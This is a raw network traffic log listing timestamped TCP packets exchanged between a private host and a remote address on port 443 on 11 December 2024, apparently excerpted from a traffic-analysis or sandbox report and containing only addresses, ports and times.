Dec 11, 2024 12:16:08.780563116 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.780636072 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.780797005 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.780844927 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.780864954 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.781007051 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.781158924 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.781218052 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.781256914 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.781272888 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.781440973 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.781531096 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.781544924 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.781555891 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.781699896 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.781744957 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.781794071 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.781832933 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.781840086 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.781949997 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.782090902 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.782109022 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.782152891 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.782166958 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.782325983 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.782474995 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.782497883 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.782598972 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.782612085 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.782653093 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.782766104 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.782768965 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.782778025 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.782840014 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.782989979 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.783140898 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.783154964 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.783478975 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.957784891 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.957794905 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.957897902 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.957993984 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.957993984 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.958004951 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.958009958 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.958237886 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.958318949 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.958328009 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.958465099 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.958815098 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.958864927 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.958875895 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.959038973 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.959261894 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.959271908 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.959654093 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.959768057 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.959778070 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.959867001 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.959896088 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.960020065 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.960107088 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.960117102 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.960197926 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.960602999 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.960808039 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.960815907 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.960932016 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.961034060 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.961042881 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.961090088 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.961189985 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.961440086 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.961451054 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.961678982 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.961682081 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.961688995 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.961818933 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.961843967 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.961874008 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.961940050 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.961950064 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.962011099 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.962017059 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.962093115 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.962151051 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.962155104 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.962277889 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.962521076 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.962646008 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.962656021 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.962966919 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.962973118 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.963160992 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.981755018 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.981765032 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.981825113 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.981946945 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.981995106 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.982002974 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.982064962 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.982081890 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.982180119 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.982322931 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.982342958 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.982412100 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.982465982 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.982790947 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.982800961 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.982984066 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.983000040 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.983226061 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.983310938 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.983330011 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.983439922 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.983582973 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.983776093 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.983788967 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.984057903 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.984116077 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.984134912 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.984232903 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.984273911 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.984559059 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.984577894 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.984674931 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.984774113 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.984790087 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.985003948 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.985158920 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.985177994 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.985284090 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.985487938 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.985497952 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.985601902 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.985901117 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.985913992 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.986042023 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.986061096 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.986071110 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.986146927 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.986242056 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.986320019 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.986341953 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.986481905 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.986510992 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.986593008 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.986604929 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.986665964 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.986803055 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.986841917 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.986856937 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.987004995 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.987160921 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.987165928 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.987379074 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.996336937 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.996355057 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.996573925 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.996797085 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.996840000 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.996840000 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.996840000 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.996840954 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.996861935 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.996871948 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.996884108 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.996957064 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.996975899 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.996993065 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.997147083 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.997260094 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.997279882 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.997442007 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.997450113 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.997457981 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.997580051 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.997725010 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.997806072 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.997817039 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.997931004 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.998116970 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.998182058 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.998353958 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.998364925 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.998373032 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.998451948 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.998575926 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.998591900 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.998615980 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.998689890 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.998708010 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.998794079 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.998812914 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.998910904 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.998924017 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.998991013 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.999170065 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.999221087 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.999236107 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.999450922 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.999473095 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.999494076 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.999617100 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.999639988 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.999717951 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.999821901 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.999964952 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.999979973 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.000137091 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.000264883 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.000277996 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.000396967 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.000500917 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.000638962 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.000746965 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.000761032 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.000837088 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.000966072 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.001074076 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.001089096 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.001250982 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.001382113 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.001393080 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.001441956 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.001458883 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.001513958 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.001646996 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.001660109 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.001761913 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.001924038 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.011301041 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.011320114 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.011504889 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.011559963 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.011579037 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.011652946 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.011713982 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.011780977 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.011859894 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.011878014 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.012015104 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.012033939 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.012095928 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.012434959 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.012449026 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.012496948 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.012516022 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.012686014 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.012692928 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.012702942 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.012770891 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.012789965 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.012991905 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.013221025 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.013235092 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.013425112 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.013499975 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.013549089 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.013566971 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.013669968 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.013731956 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.013932943 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.013947010 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.014003992 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.014101028 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.014117956 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.014393091 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.014432907 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.014451027 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.014499903 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.014622927 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.014731884 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.014830112 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.014903069 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.014914036 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.015064001 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.015167952 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.015337944 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.015352011 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.015574932 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.015583992 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.015614986 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.015661955 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.015671015 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.015820026 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.015824080 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.015830040 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.015923023 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.016052008 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.016293049 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.016364098 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.016379118 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.016506910 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.016571999 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.016642094 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.016648054 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.067090034 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.194175959 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.194195032 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.194344044 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.194421053 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.194439888 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.194484949 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.194528103 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.194557905 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.194614887 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.194622040 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.194708109 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.194730043 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.194746017 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.194823980 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.194842100 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.194967031 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.194984913 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.195045948 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.195097923 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.195103884 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.195214033 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.195291042 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.195605993 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.195621014 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.195789099 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.195847034 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.195981026 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.195998907 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.196074009 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.196100950 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.196188927 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.196321964 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.196341991 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.196449041 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.196579933 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.196597099 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.196827888 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.196835041 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.196844101 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.196948051 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.197022915 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.197216034 CET	49840	443	192.168.11.30	172.67.128.139
